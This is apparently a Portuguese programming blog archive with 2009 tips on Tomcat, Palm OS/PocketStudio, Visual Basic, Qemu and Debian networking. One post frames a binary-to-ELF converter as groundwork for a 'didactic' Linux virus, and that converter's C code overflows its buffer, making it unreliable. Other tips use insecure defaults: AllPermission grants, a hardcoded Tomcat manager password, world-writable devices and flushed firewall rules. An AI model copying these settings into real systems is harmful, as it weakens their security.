As permissões estão definidas no arquivo "$CATALINA_BASE/conf/catalina.policy", neste caso em /usr/share/tomcat5.5/conf/catalina.policy.

Seria só alterar esse arquivo, mas se verificarmos nosso daemon (/etc/init.d/tomcat5.5), veremos que este arquivo e montado na inicialização do tomcat, pois encontraremos a seguinte linha:

# cat /etc/tomcat5.5/policy.d/*.policy \
>> "$CATALINA_BASE/conf/catalina.policy"

Ou seja, não adianta modificar o arquivo /usr/share/tomcat5.5/conf/catalina.policy, pois quando iniciarmos o tomcat esse arquivo será refeito. Na inicialização, o conteúdo do arquivo "$CATALINA_BASE/conf/catalina.policy" é substituindo pelo conteúdo de todos os arquivos ".policy" do diretório /etc/tomcat5.5/policy.d/. Então, a linha abaixo nós poderemos incluir dentro de um arquivo ".policy" do diretório /etc/tomcat5.5/policy.d/ ou, o que acho mais organizado, criar um arquivo.

Crie um arquivo /etc/tomcat5.5/policy.d/05teste.policy. Inclua o seguinte conteúdo:

grant codeBase "file:/var/www/teste/-" {
permission java.security.AllPermission;
};

Com esse conteúdo, você faria todas as liberações para sua aplicação. O mais seguro é ir liberando as permissões a medida que forem aparecendo as necessidades, então, sugiro substituir o conteúdo do arquivo por

grant codeBase "file:/var/www/teste/-" {
permission java.net.SocketPermission "localhost:3306", "connect,resolve";
};

Assim, liberaremos apenas a conexão com o mysql.

Agora, basta reiniciarmos o tomcat

# /etc/init.d/tomcat5.5 restart

e testarmos nossa aplicação acessando a URL localhost:8180/teste

deverá aparecer o seguinte conteúdo:

Olá mundo !!!
1 + 1 = 2

Drive carregado com sucesso!!!

Conexao estabelecida!!!

- 1

- 7

- 17

- 37

Identificando o em qual Field está o Foco

2009-05-08T14:52:00.000-07:00

Visitas

Pra saber em qual fiel está o foco não é muito difícil, para isso iremos usar algumas API's do Palm OS.

Todas sa rotina estão dentro do arquivo PalmOS/Form.pas e serão elas:
FrmGetActiveForm - retorna o form ativo e sua declaração é function FrmGetActiveForm: FormPtr; external sysTrapFrmGetActiveForm;

FrmGetFocus - retorna o objeto ativo dentro do form. Sua declaração é function FrmGetFocus(const formP: FormPtr): UInt16; external sysTrapFrmGetFocus;

FrmGetObjectType - retorna o tipo de objeto, para sabermos se é um Field. Sua declaração é function FrmGetObjectType(const formP: FormPtr; objIndex: UInt16): FormObjectKind; external sysTrapFrmGetObjectType;

FrmGetObjectID - retorna o ID do Objeto focado, sua declaração é function FrmGetObjectId(const formP: FormPtr; objIndex: UInt16): UInt16; external sysTrapFrmGetObjectId;

Sendo assim, a função abaixo retorna o ID do Filed selecionado ou retorna 0 caso não haja nenhum filed focado.

function FieldFocuse: UInt16;
var
   frm: FormPtr;
   ffoc: UInt16;
begin
   result := 0;

   frm := FrmGetActiveForm;
   ffoc := FrmGetFocus(frm);
   if ffoc=noFocus then exit;
   if FrmGetObjectType(frm, ffoc)<>frmFieldObj then exit;
   result := FrmGetObjectID(frm, ffoc);
end;

O exemplo abaixo mostra como utilizar essa função, o código abaixo deixará invisível o campo Field que estiver focado.

fieldFoc := FieldFocuse; // fieldFoc é uma variável do tipo UInt16;
if fieldFoc <> 0 then PSField.Hide(fieldFoc);

Movimentando o Form

2009-05-08T13:09:00.000-07:00

Visitas

Neste post resolvi mostrar como mudar a posição do form via código. Para melhorar a "brincadeira", resolvi fazer o form se movimentar ao se arrastar a caneta igual a movimentação em uma janela desktop.

Para fazer essa movimentação, será necessário a utilização:

Dos tipos

FormPtr - encontra-se no arquivo PalmOS/Form.pas

   FormType = record
   {$ifdef ALLOW_ACCESS_TO_INTERNALS_OF_FORMS} // These fields will not be available in the next OS release!
      window: WindowType;
      formId: UInt16;
      attr: FormAttrType;
      bitsBehindForm: WinHandle;
      handler: FormEventHandlerType;
      focus: UInt16;
      defaultButton: UInt16;
      helpRscId: UInt16;
      menuRscId: UInt16;
      numObjects: UInt16;
      objects: ^FormObjListType;
   {$endif}
   end;

   FormPtr = ^FormType;

WinHandle - encontra-se no arquivo PalmOS/Window.pas

WindowType = record
   {$ifdef ALLOW_ACCESS_TO_INTERNALS_OF_WINDOWS} // These fields will not be available in the next OS release!
      displayWidthV20: Coord; // use WinGetDisplayExtent instead
      displayHeightV20: Coord; // use WinGetDisplayExtent instead
      displayAddrV20: Pointer; // use the drawing functions instead
      windowFlags: WindowFlagsType;
      windowBounds: RectangleType;
      clippingBounds: AbsRectType;
      bitmapP: BitmapPtr;
      frameType: FrameBitsType;
      drawStateP: ^DrawStateType; // was GraphicStatePtr
      nextWindow: ^WindowType;
   {$endif}
   end;

   WinPtr = ^WindowType;
   WinHandle = ^WindowType;

RectangleType - encontra-se no arquivo PalmOS/Rect.pas

   PointType = record
      x: Coord;
      y: Coord;
   end;
   PointPtr = ^PointType;

   RectangleType = record
      topLeft: PointType;
      extent: PointType;
   end;

Precisamos também das rotinas que se encontram no arquivo PalmOS/Form.pas

FrmGetActiveForm
function FrmGetActiveForm: FormPtr; external sysTrapFrmGetActiveForm;

FrmGetWindowHandle(Frm);
function FrmGetWindowHandle(const formP: FormPtr): WinHandle; external sysTrapFrmGetWindowHandle;

FrmGetFormBounds
procedure FrmGetFormBounds(const formP: FormPtr; var rP: RectangleType); external sysTrapFrmGetFormBounds;

FrmDrawForm(Frm);
procedure FrmDrawForm(formP: FormPtr); external sysTrapFrmDrawForm;

e no arquivo PalmOS/Window.pas

WinSetBounds(Wnd, rp);
procedure WinSetBounds(winHandle: WinHandle; {const} var rP: RectangleType); external sysTrapWinSetBounds;

o código para movimentação do form é bem simples. Criar as variável privadas que irão armazenar o ponto de toque.

var
posX: int16;
posY: int16;

No evento PenDown do form, o código

procedure Form1PenDown(X, Y: Int16);
begin
   posX:=X;
   posY:=Y;
   PSApplication.Handled := False; // leave event unhandled
end;

Obs.: o form não pode ser desenhado em posição negativa, ou seja o canto superior direito não pode estar acima da posição 0 e também não pode estar mais a esquerda do que a posição 0.

Sendo assim, o codigo do evento PenMove ficará

procedure Form1PenMove(X, Y: Int16);
var
    DifX: integer;
    DifY: integer;

    Frm: FormPtr;
    Wnd: WinHandle;
    rp: RectangleType;
begin
   if PenDown then
       begin
            DifX := X - posX;
            DifY := Y - posY;

            //Pega o form ativo
            Frm := FrmGetActiveForm;

            //Pega o Handle do form ativo
            Wnd := FrmGetWindowHandle(Frm);

            //Pega os valores de grafico do form
            FrmGetFormBounds(Frm, rp);

            //garante que o calculo de quanto se movel a caneta não será inferior a 0, o que causaria um erro
            posX := rp.TopLeft.x + DifX;
            if posX < 0 then posX := 0;
            posY := rp.TopLeft.y + DifY;
            if posY < 0 then posY := 0;

            //Repondo os valores corretos
            rp.TopLeft.x := posX;
            rp.TopLeft.y := posY;

            //setando os novos valores do form
            WinSetBounds(Wnd, rp);

            //redesenhando o Form
            FrmDrawForm(Frm);
       end;

       posX := X;
       posY := Y;

   PSApplication.Handled := False; // leave event unhandled
end;

Alterando a data via código

2009-05-05T15:59:00.000-07:00

Visitas

Os funções para manipulação de data e hora no Pocketstudio são encontradas no arquivo PalmOS/DateTime.pas. Nós iremos usar o tipo DateTimeType e a função TimDateTimeToSeconds que recebe como parâmetro um ponteiro para o tipo DateTimeType.

O tipo DateTimeType é:

DateTimeType = record
   second: Int16;
   minute: Int16;
   hour: Int16;
   day: Int16;
   month: Int16;
   year: Int16;
   weekDay: Int16; // Days since Sunday (0 to 6)
end;

A função TimDateTimeToSeconds é declarada:

function TimDateTimeToSeconds(dateTimeP: DateTimePtr): UInt32; external sysTrapTimDateTimeToSeconds;

De posse dessas informações, basta incluir o código abaixo no evento que fará a alteração da hora. No exemplo abaixo são utilizados valores fixos.

var
   DtHo: DateTimeType;
begin
   DtHo.Day := 4;
   DtHo.Month := 5;
   DtHo.Year := 2009;   DtHo.Hour := 20;
   DtHo.Minute := 15;
   DtHo.Second := 34;

   //Como nossa variável não é um ponteiro e a função requer um ponteiro
   //passaremos o endereço da variável.
   TimSetSeconds(TimDateTimeToSeconds(@DtHo));
end;

Acionar o menu via código

2009-05-04T11:48:00.000-07:00

Visitas

No Palm, para acessar o menu é necessário clicar na barra de título, porém, pode ser que seu form não tenha barra de título, você não quis, sendo assim ele ocupa toda a área da tela.

Então, vou postar aqui uma forma de chamar o menu atravez de um botão.

O menu tem que estar criado normalmente no Resources e associado ao Form.

Para chamar o Menu, nós iremos usar as rotinas abaixo, ambas se encontram no arquivo PalmOS/Menu_.pas.

MenuInit - sua declaração é MenuInit(resourceId: UInt16): MenuBarPtr; external sysTrapMenuInit; Ela retorna o ponteriro para o menu referente ao resourceId passado como parâmetro.

MenuSetActiveMenu - sua declaração é function MenuSetActiveMenu(menuP: MenuBarPtr): MenuBarPtr; external sysTrapMenuSetActiveMenu; Ela ativa o Menu passado como ponteiro no parâmetro.

MenuGetActiveMenu - declaração function MenuGetActiveMenu: MenuBarPtr; external sysTrapMenuGetActiveMenu; Retorna um ponteiro referente ao menu ativo.

MenuDrawMenu - declaração procedure MenuDrawMenu(menuP: MenuBarPtr); external sysTrapMenuDrawMenu; Desenha na tela o menu passado como parâmetro em forma de ponteiro.

Entã, para chamar o menu basta incluir o código abaixo.

MenuSetActiveMenu(MenuInit(Menu1));
MenuDrawMenu(MenuGetActiveMenu);

uma outra forma seria guardar o ponterio do menu que foi ativado, assim não precisaremos usar a função MenuGetActiveMenu, pois já temos o ponteiro para o menu.

var
   MenuP: MenuBarPtr;
begin
   MenuP := MenuInit(Menu1);
   MenuSetActiveMenu(MenuP);
   MenuDrawMenu(MenuP);
end;

Como chamar outra aplicação

2009-04-30T16:39:00.000-07:00

Visitas

No Pocketstudio é possível chamar outra aplicação de dentro da sua, porém o palm não tem o mesmo conceito do windows de passear pelas aplicações mantendo-as abertas, sendo assim, você não poderá voltar a sua aplicação. Para isso, você terá que fechar a aplicação que foi aberta e iniciar a sua aplicação normalmente.

Para executarmos uma aplicação, precisaremos de duas funções:
DmFindDatabase - que se encontra dentro do arquivo PalmOS/DataMgr.pas ou seja na Unit DataMgr. Sua declaração é function DmFindDatabase(cardNo: UInt16; const nameP: PChar): LocalID; external sysTrapDmFindDatabase;

Essa função será responsável por localizar a aplicação pelo nome e nos retornar o dbID que será usado para executar a aplicação.

SysUIAppSwitch - que se encotra dentro do arquivo PalmOS/SystemMgr.pas ou seja Unit SystemMgr. Sua declaração é function SysUIAppSwitch(cardNo: UInt16; dbID: LocalID; cmd: UInt16; cmdPBP: MemPtr): Err; external sysTrapSysUIAppSwitch;

Essa fução será responsável pela execução da aplicação, de que passemos o dbID da aplicação desejada.

Então, a função para executar uma aplicação no Palm ficaria:

function exec (nameP: PChar): UInt16;
var
   dbID: LocalID;
begin
   dbID := DmFindDatabase(0, nameP);
   result := SysUIAppSwitch(0, dbID, sysAppLaunchCmdNormalLaunch, nil);
end;

Se a função não tiver sucesso na execução, ela retornará o número do erro, caso tenha sucesso retornará 0, mas não servirá pois a aplicação principal será fechada.

Como saber se um PDB está aberto

2009-04-30T16:13:00.000-07:00

Visitas

A função DmOpenDatabaseInfo retorna informações de uma base de dados aberta. Se a base de dados não estiver aberta, ela retorna um erro.

A função encontrasse dentro de PalmOS/DataMgr.pas ou seja na Unit DataMgr.

Sua declaração é:

function DmOpenDatabaseInfo(dbP: DmOpenRef; var dbIDP: LocalID; var openCountP, modeP, cardNoP: UInt16; var resDBP: Boolean): Err; external sysTrapDmOpenDatabaseInfo;

Logo a função seria:

function DBIsOpen (dbP: DmOpenRef): boolean;
var
   d: LocalID;
   o, m, c: UInt16;
   r: Boolean
begin
   result := (dmOpenDatabaseInfo(dbP, d, o, m, c, r) = 0)
end;

Mudando o título do form em tempo de execução

2009-04-30T15:47:00.000-07:00

Visitas

Para mudar o Title do form em tempo de execução no PocketStudio (Palm) basta usar a função FrmSetTitle da API do Palm OS.
Essa função encontra-se em PSL/PSForm.pas ou seja na unit PSForm e tem declaração FrmSetTitle(FrmGetActiveForm, Title);

Logo é só usar

PSForm.FrmSetTitle(Form, 'Novo Título');

Colocando o conteúdo de um campo em um Labell

2009-04-30T15:17:00.000-07:00

Visitas

Colocando o conteúdo de um campo em um Label em PocketStudio (Palm)

procedure Button1_OnCtlSelect(var Handled: Boolean; ControlID: UInt16; Control: ControlPtr; On: Boolean);
var
   Texto: PChar;
   TextoSize: UInt16;
begin
   //pegando o tamanho do texto e acrescentando mais 1 que será usado para o caracter de terminação de string
   TextoSize := PSField.TextLength(Field1) + 1;

   // Alocando o tamanho necessário para caber o texto
   Texto := PSString.StrAlloc(TextoSize);

   // Copiando o conteúdo do campo para a variável
   PSField.Text(Field1,Texto,TextoSize);

   // Colocando o conteúdo da variável no Caption do Label
   PSLabel.SetCaption(Label1,Texto);

   // Liberando o espaço alocado
   PSString.Dispose (Texto);

   // A atribuição Handled := True; serve para informar ao PalmOS que o
evento foi tratado totalmente pela sua aplicação.
   Handled:=True;

end;

Transformando arquivos com zeros e uns em executável

2009-04-07T15:21:00.000-07:00

Visitas

Postei aqui anteriormente o viewbin, que transformava um arquivo binário, executável em uma seqüência binária de 1's e 0's.
Agora estou postando o oposto, um programa que transforma esse arquivo seqüencial de uns e zeros em um executável.

De posse dos 2, é possível transformar um executável em seqüência binária, alterar o arquivo em um editor de texto e voltar o arquivo para executável.

A idéia desses programas é fornecer ferramentas para estudo do formato ELF, para entendermos e criarmos um vírus didático para linux. É uma evolução do artigo já postado por mim sobre criação de vírus para linux.

Segue o código.

/* bintoexe.c */

#include

char bitToByte (char* bin);

int main (int argc, char* argv[])
{
   FILE *arq;
   FILE *arqDest;
   char buf[2];
   char byte[8];
   int contBit=0;
   unsigned int f;

   if (argc!=3)
   {
      printf ("Parametro incorreto.\n");
      printf ("Informe o nome do arquivo a ser convertido e o nome do arquivo de destino\n");
      return 1;
   }

   if (!(arq=fopen(argv[1],"r")))
   {
      printf ("Nao foi possivel abrir o arquivo %s!",argv[1]);
      return 1;
   }

   if (!(arqDest=fopen(argv[2],"wb")))
   {
      printf ("Nao foi possivel criar o arquivo %s!\n",argv[2]);
      return 1;
   }

   while (f=fread(buf,1,1,arq))
   {
      if ((buf[0]=='1') || (buf[0]=='0'))
      {
         byte[contBit] = buf[0];
         contBit++;
         if (contBit == 8)
         {
            buf[0] = bitToByte (byte);
            f=fwrite(buf,1,1,arqDest);
         }
      }
      /* o programa ignora qualquer sequencia que seja diferente de 8 zeros ou uns consecutivos */
      else
      {
         contBit = 0;
      }
   }
   close (arq);
   close (arqDest);
   printf ("\n");
}

char bitToByte (char* bin)
{
   char r=0;
   /* faz um OR do r com as posições dos bits do mais ao menos significativos */
   if (bin[0]=='1') r |= 0x80;
   if (bin[1]=='1') r |= 0x40;
   if (bin[2]=='1') r |= 0x20;
   if (bin[3]=='1') r |= 0x10;
   if (bin[4]=='1') r |= 0x8;
   if (bin[5]=='1') r |= 0x4;
   if (bin[6]=='1') r |= 0x2;
   if (bin[7]=='1') r |= 0x1;

   return r;
}

Aumentando a performance na concatenação de string em VB

2009-04-06T07:41:00.000-07:00

Visitas

Muitas vezes, simples alterações no código podem fazer com que a velocidade de seu sistema aumente em muito. Aqui nós veremos uma dica simples, porém muito eficiente com relação a concatenação de string.

No Visual Basic, assim com na maioria das linguagens, o tempo gasto com a alocação de memória é bastante alto. Sim, o Visual Basic faz alocação de memória assim como qualquer outra linguagem de programação, o fato da alocação não ser explicita muitas vezes não significa que ela não exista.

Sendo assim, se conhecermos o tamanho da string final, depois das concatenações, ficaria muito mais eficiente se alocássemos uma vez apenas a string com o tamanho final e adicionássemos as substrings com a função Mid$.

Abaixo seguem dois códigos que terão o mesmo resultado, porém com um pequena diferença na implementação e veremos que o tempo gasto na execução é absurdamente diferente.

Crie um módulo e acrescente a chamada a API que será responsável por pegar a data do micro. Usaremos essa função para pegar a data no início e no fim do código, assim o tempo gasto será a diferença entre os 2 tempos.

'data do clock no formato long
Declare Function GetCurrentTime Lib "kernel32" Alias "GetTickCount" () As Long

Agora crie um form e acrescente 2 TextBox e 2 CommandButton.

No botão 1 acrescente o código a seguir.

Código 1.

Private Sub Command1_Click()
   Dim i As Integer
   Dim j As Integer

   Dim t1 As Long
   Dim t2 As Long

   Dim texto As String

   d1 = GetCurrentTime

   For i = 1 To 300
      For j = 1 To 300
         texto = texto & "1"
         DoEvents
      Next
   Next

   d2 = GetCurrentTime

   Text1.Text = CStr(d2 - d1)

End Sub

Neste código, para adicionar o caracter a string, o processador terá um trabalho árduo, ele terá que a cada laço alocar uma memória com o tamanho de 1 byte maior que a anterior, fazer a concatenação da string nesta nova área de memória e desalocar a string antiga.

O resultado, em minha máquina foi um tempo de 59786

No botão 2 acrescente o código a seguir.

Código 2.

Private Sub Command2_Click()
   Dim i As Integer
   Dim j As Integer
   Dim k As Long

   Dim t1 As Long
   Dim t2 As Long

   Dim texto As String

   d1 = GetCurrentTime
   texto = String(90000, 0)
   k = 1
   For i = 1 To 300
      For j = 1 To 300
         Mid$(texto, k, 1) = "1"
         k = k + 1
         DoEvents
      Next
   Next

   d2 = GetCurrentTime

   Text2.Text = CStr(d2 - d1)

End Sub

Neste código, nós alocamos um string com o tamanho total desejado e a cada loop, nós colocamos a substring no lugar desejado. O resultado na minha máquina foi um tempo de 241.

Comprando os resultado constatamos que o código 2 é aproximadamente 248 x mais rápido do que o código 1.

Atenção em alguns detalhes na hora da criação de um sistema podem fazer a diferença entre um código eficiente ou não.

Compartilhando a Internet no linux (Debian)

2009-04-03T15:18:00.000-07:00

Visitas

Há vários tutoriais sobre esse assunto na internet, porém uns não funcionam, outros funcionam parcialmente, outros são complicados, etc.

Essa dica é utilizada por mim e funciona muito bem, cria um PROXY transparente. Bastando incluir o ip do computador no gateway das outras máquinas.

Crie um arquivo /etc/init.d/xxxxx com o seguinte conteúdo:

#!/bin/bash

echo "********* Compartilhando internet ***********"
echo "1" > /proc/sys/net/ipv4/ip_forward

# Limpando as tabelas
iptables -F
iptables -t nat -F
iptables -t mangle -F

# Mascarando conexões da rede
# se sua conexão estiver na interface ppp0, basta trocar o eth0 por ppp0
# a interface ppp0 é usada também em dial-up, então, neste caso, troque o eth0
# por ppp0
iptables -t nat -A POSTROUTING -o eth1 -j MASQUERADE

Salve o arquivo. A permissão desse arquivo deve ser 07xx, de acordo com sua segurança.

OBS.: Os comandos do arquivo podem ser executados no terminal, na mesma ordem que irá funcionar. Porém ao reiniciar o computador, algumas configurações voltam ao default fazendo com que o compartilhamento não seja mais realizado.

Com os comandos nesse arquivo, toda vez que reiniciar o computador e desejar fazer o compartilhamento basta digitar:

# /etc/init.d/xxxxx

Fazer com que esse script seja executado na inicialização do sistema. Criar um link simbólico para ele no diretório /etc/rc2.d:

# cd /etc/rc2.d
# ln -s /etc/init.d/internet /etc/rc2.d/S99xxxxxx

Pronto. Agora toda vez que reiniciar o computador a internet será compartilhada automaticamente.

Trabalhando com partições Linux no Windows (visualiza, edita normalmente)

2009-04-03T15:08:00.000-07:00

Visitas

Para quem trabalha com dual boot, sempre aparece a necessidade de transferir arquivos de um sistema operacional para outro, muitas vezes trabalhar com arquivos que foram gravados em partições diferentes da reconhecida pelo SO que está sendo utilizado no momento.

Para quem trabalha com Windows e Linux em uma mesma máquina isso é possível. O Ext2IFS permite que você trabalhe com partições Linux (ext2 e ext3) no Windows como se fosse uma partição (FAT ou NTFS).

O problema é que as permissões do Linux deixam de ser válidas, assim qualquer pessoa que esteja utilizando o Windows pode alterar, renomear, excluir etc arquivos do Linux sem o menor problema, independente do usuário ou permissão atribuídos ao arquivo/pasta no Linux.

Para mais informações, veja o link:

* http://www.fs-driver.org/index.html

Veja o link com o screenshots comprovando o que digo:

* http://www.vivaolinux.com.br/screenshots/userview.php?login=grj_rj

Baixe o programa, em seu Windows, pelo link:

* http://www.fs-driver.org/download.html

Execute a instalação. Após confirmações, aparecerá uma tela listando todas as partições Linux e a opção de escolher a unidade desejada. Após seleção, aparecerá no Windows Explorer uma nova unidade, a escolhida para a partição Linux, permitido que você trabalhe nela normalmente, como se fosse uma partição Windows.

Instalando o Qemu (Debian)

2009-04-03T14:57:00.000-07:00

Visitas

Resolvi escrever esta dica pois senti dificuldade em instalar o Qemu + Kqemu no Debian Etch, mesmo sendo algo tão simples. A maioria das dicas incentivavam a instalação do KQemu com linhas de comando que não funcionavam.

Quebrando a cabeça e com alguns "chutes", encontrei uma forma muito fácil de utilizá-lo.

Porém o real motivo de postar essa dica é que será necessário a utilização do Qemu em um artigo que estou escrevendo, então resolvi escrevê-la para referenciá-la no artigo e não explicá-la na artigo, fugindo por completo do assunto.

Vamos à instalação.

No caso do Debian, é só executar a linha a seguir no shell como root:

# apt-get install qemu qemu-launcher qemuctl

OBS.: Não é necessário repositório extra.

Após instalação, será criado um atalho no menu do GNOME:

Aplicações > Acessórios > Qemu Laucher

Em Configuration Name, dê um nome a configuração.

Selecione Snapshot mode e Use CD Rom.

Usarei como exemplo a instalação do Debian na máquina virtual, então selecione CD-ROM em Boot Disk.

Em Hard disk 0, selecione o botão novo e crie o arquivo que servirá de HD para a máquina virtual. No exemplo, aumentei a capacidade do HD virtual de 1 para 2 GB e dei o nome de HHdebian.

Modifique o tamanho da memória em RAM (MB) caso queira.

Na aba Launcher settings verifique se qemu-ctl está como /usr/bin/qemuctl, se não estiver, localize-o.

Salve a configuração e clique em Lauch para inciar o qemu.

Comece a instalação do Linux pelo CD.

Se usarmos o comando "ps -ax | grep qemu" em um terminal no momento da instalação, veremos que o comando executado pelo Qemu Laucher é:

# /usr/bin/qemu -boot d -snapshot -m 128 -hda /home/usuario/HHdebian -cdrom /dev/cdrom -net nic,vlan=0 -net user,vlan=0 -localtime -soundhw sb16

Após término da instalação, modifique no Qemu Launcher (na configuração salva) o disk boot para Hard disk 0, desmarque o Use CD-ROM e clique em Launch para iniciar o Linux no Qemu.

# /usr/bin/qemu -boot c -snapshot -m 128 -hda /home/gjunior/ HHdebian -net nic,vlan=0 -net user,vlan=0 -localtime -soundhw sb16

Fazendo isso o Qemu já estará funcionando. Porém, ainda de forma lenta. Então instalaremos o módulo Kqemu para acelerar o Qemu de 4 a 5 x.

Entre no site:

* http://bellard.org/qemu/download.html

e baixe o arquivo kqemu-1.3.0pre11.tar.gz.

Descompacte o arquivo:

$ tar -zxf kqemu-1.3.0pre11.tar.gz

Entre no diretório kqemu-1.3.0pre11:

$ cd kqemu-1.3.0pre11

Mude para o usuário root e instale o Kqemu:

# ./configure
# make
# make install

Depois de instalado, carregue o módulo do kqemu com o comando:

# modprobe kqemu

Caso necessário, crie o device que ele utiliza:

# mknod /dev/kqemu c 250 0
# chmod 666 /dev/kqemu

O módulo kqemu precisa ser carregado sempre que o Linux é iniciado, para isso, crie o arquivo /etc/init.d/kqemu e inclua as linhas.

#! /bin/sh
# Carregando o módulo Kqemu
modprobe kqemu

Mude a permissão do arquivo para 755:

# chmod 0755 kqemu

Crie um link simbólico em /etc/rcS.d/:

# ln -s ../init.d/kqemu S99kqemu

Se quisermos compartilhar a unidade de CD-ROM, basta incluir os parâmetros "-cdrom /dev/cdrom" na linha de comando:

# /usr/bin/qemu -cdrom /dev/cdrom -boot c -snapshot -m 128 -hda /home/gjunior/ HHdebian -net nic,vlan=0 -net user,vlan=0 -localtime -soundhw sb16

Pronto, Qemu+Kqemu instalados no Debian.

Instalando Tomcat e JDK com apt-get (Debian)

2009-04-03T14:43:00.000-07:00

Visitas

Acabei de passar pela necessidade de instalar o Tomcat em meu servidor Debian. Porém não tive muito sucesso com as dicas já oferecidas em português e algo que parecia simples não foi tanto. Passei a procurar então material em inglês e consegui fazer a instalação, na realidade, de forma bastante simples e resolvi postar aqui.

Primeiro é necessário instalar o Sun JDK 5 (Java Developer kit 5). Nós instalaremos a partir de um repositório.

Obs.: Usaremos repositórios não estáveis, mas não tive problema com isso.

Os comandos deverão ser executados como usuário root.

Edite o arquivo /etc/apt/sources.list:

# vi /etc/apt/sources.list

e adicione as seguintes linhas:

deb http://ftp.debian.org/debian/ unstable non-free
deb-src http://ftp.debian.org/debian/ unstable non-free

Salve e feche o arquivo.

Agora vamos atualizar o apt usando o seguinte comando:

# apt-get update

Instalando o jdk:

# apt-get install sun-java5-jdk

Para confirmar se o Java está instalado e qual sua versão:

# java -version

A saída será algo da forma:

java version "1.5.0_10"
Java(TM) 2 Runtime Environment, Standard Edition (build 1.5.0_10-b03)
Java HotSpot(TM) Client VM (build 1.5.0_10-b03, mixed mode, sharing)

Para instalar o Apache Tomcat usaremos os comandos a seguir:

# apt-get install tomcat5.5
# apt-get install tomcat5.5-admin
# apt-get install tomcat5.5-webapps

Para verificar se o Tomcat está em execução, abra um navegador e digite o seguinte endereço:

http://localhost:8180/

Você poderá trocar o localhost pelo IP ou nome do seu servidor.

Você poderá iniciar/parar/reiniciar o serviço Tomcat utilizando os seguintes comandos:

# /etc/init.d/tomcat5.5 start
# /etc/init.d/tomcat5.5 stop
# /etc/init.d/tomcat5.5 restart

Configurando o Tomcat
Pare o serviço Tomcat:

# /etc/init.d/tomcat5.5 stop

Edite o arquivo /var/lib/tomcat5.5/conf/tomcat-users.xml e substitua seu conteúdo pelas linhas abaixo. Neste caso configuraremos a mesma senha para as opções de configuração do Tomcat via browser.

<?xml version='1.0' encoding='utf-8'?>
<tomcat-users>
<role rolename="admin"/>
<role rolename="manager"/>
<role rolename="tomcat"/>
<user username="tomcat"
password="tomcatpassword"
roles="tomcat,admin,manager"/>
</tomcat-users>

Salve o arquivo.

Inicie o serviço Tomcat:

# /etc/init.d/tomcat5.5 start

Agora você poderá usar o usuário de gerente na página de configuração do Tomcat:

http://localhost:8180/manager/html

Seu usuário será "tomcat" e a senha "tomcatpassword".

Apt-get sem CD (Debian)

2009-04-03T14:35:00.000-07:00

Visitas

Acabei de passar pela necessidade de instalar o ntpdate no servidor de minha empresa. Porém ao usar o apt-get ele pediu para inserir o CD.

O problema é que o servidor se encontra distante, sem possibilidade de levar o CD de instalação até ele.

Procurei no VOL como utilizar o apt-get sem a necessidade do CD. Encontrei excelentes dicas e artigos explicando como criar um repositório local, porém isso não adiantava.

Como não achei nada que resolvesse meu problema, resolvi fazer um teste que funcionou.

Edite o sources.list:

# vi /etc/apt/sources.list (use o editor que preferir)

Comente a linha referente ao cdrom e salve, pois não queremos que o cdrom faça parte de nosso repositório.

#deb cdrom:[Debian GNU/Linux 4.0 r0 _Etch_ - Official i386 CD Binary-1 20070407-11:55]/ etch contrib main

Confirme se existe o repositório da sua distribuição, neste caso o Debian.

deb http://ftp.debian.org/debian/ etch main

Atualize o repositório:

# apt-get update

Pronto!

Identificando a versão do Windows com Visual Basic

2009-04-02T15:07:00.000-07:00

Visitas

Muitas vezes é necessário identificar qual a versão do windows está sendo usado. O código abaixo mostra como fazer isso.

O código identifica exatamente se a versão do Windows é 3.X, 98, 98, 98 SE, ME, NT, 2000, XP ou se é uma versão 64 Bits. Não foi possível testar e identificar as versões Vista, 2003 e Seven, porém quem desejar basta utilizar o código e testar o valor das variáveis. Como não foi testado nessas versões, não é possível garantir o seu funcionamento para estas.

Crie um módulo e insira as seguintes linhas

Public Type T_WINVER
   PlatformID As Long
   VersionName As String
   VersionNo As String
   ServicePack As String
   BuildNo As String
End Type

Public Type T_OSVersionInfo
   OSVSize As Long
   dwVerMajor As Long
   dwVerMinor As Long
   dwBuildNumber As Long
   PlatformID As Long
   szCSDVersion As String * 128
End Type

Public Const VER_PLATFORM_WIN32s = 0
Public Const VER_PLATFORM_WIN32_WINDOWS = 1
Public Const VER_PLATFORM_WIN32_NT = 2

Public Declare Function GetVersionEx Lib "Kernel32" _
   Alias "GetVersionExA" _
   (lpVersionInformation As T_OSVersionInfo) As Long

No mesmo módulo, ou no seu form inclua as linhas abaixo. O detalhe é que se resolver colocar essa rotina dentro do mesmo módulo a rotina tera que ser publica ou seja:

Public Sub getWindowsVersion(ByRef win As T_WINVER)

Private Sub getWindowsVersion(ByRef win As T_WINVER)
   Dim OSVersionInfo As T_OSVersionInfo
   Dim pos As Integer
   Dim sVer As String
   Dim sBuild As String

   OSVersionInfo.OSVSize = Len(OSVersionInfo)
   If GetVersionEx(OSVersionInfo) = 1 Then
      #If Win32 Then
         'PlatformId contém o valor que representan o SO
         'no mesmo PlatformId o Windows pode variar de acordo com a versão
         'do sistema
         win.PlatformID = OSVersionInfo.PlatformID

         Select Case OSVersionInfo.PlatformID
            Case VER_PLATFORM_WIN32s:
               win.VersionName = "Win32s"
            Case VER_PLATFORM_WIN32_NT:
               win.VersionName = "Windows NT"
               Select Case OSVersionInfo.dwVerMajor
                     Case 4:
                        win.VersionName = "Windows NT"
                     Case 5:
                        Select Case OSVersionInfo.dwVerMinor
                           Case 0: win.VersionName = "Windows 2000"
                           Case 1: win.VersionName = "Windows XP"
                        End Select
               End Select

            Case VER_PLATFORM_WIN32_WINDOWS:
               Select Case OSVersionInfo.dwVerMinor
                  Case 0: win.VersionName = "Windows 95"
                  Case 90: win.VersionName = "Windows ME"
                  Case Else: win.VersionName = "Windows 98"
               End Select
         End Select

         win.VersionNo = OSVersionInfo.dwVerMajor & "." & OSVersionInfo.dwVerMinor

         win.BuildNo = (OSVersionInfo.dwBuildNumber And &HFFFF&)

         pos = InStr(OSVersionInfo.szCSDVersion, Chr$(0))
         If pos Then
            win.ServicePack = Left$(OSVersionInfo.szCSDVersion, pos - 1)
         End If
      #ElseIf Win64 Then
         getWindowsVersion = "Windows 64 Bits"
      #Else
         getWindowsVersion = "Windows 3.X"
      #End If
   End If
End Sub

Agora crie a chamada para rotina onde preferir
Um exemplo de utilização segue abaixo

Dim win As T_WINVER
getWindowsVersion win
MsgBox "Nome: " & win.VersionName & Chr(13) & _
   "ID da Plataforma: " & win.PlatformID & Chr(13) & _
   "ServicePack: " & win.ServicePack & Chr(13) & _
   "Numero da Versão: " & win.VersionNo & Chr(13) & _
   "Build: " & win.BuildNo

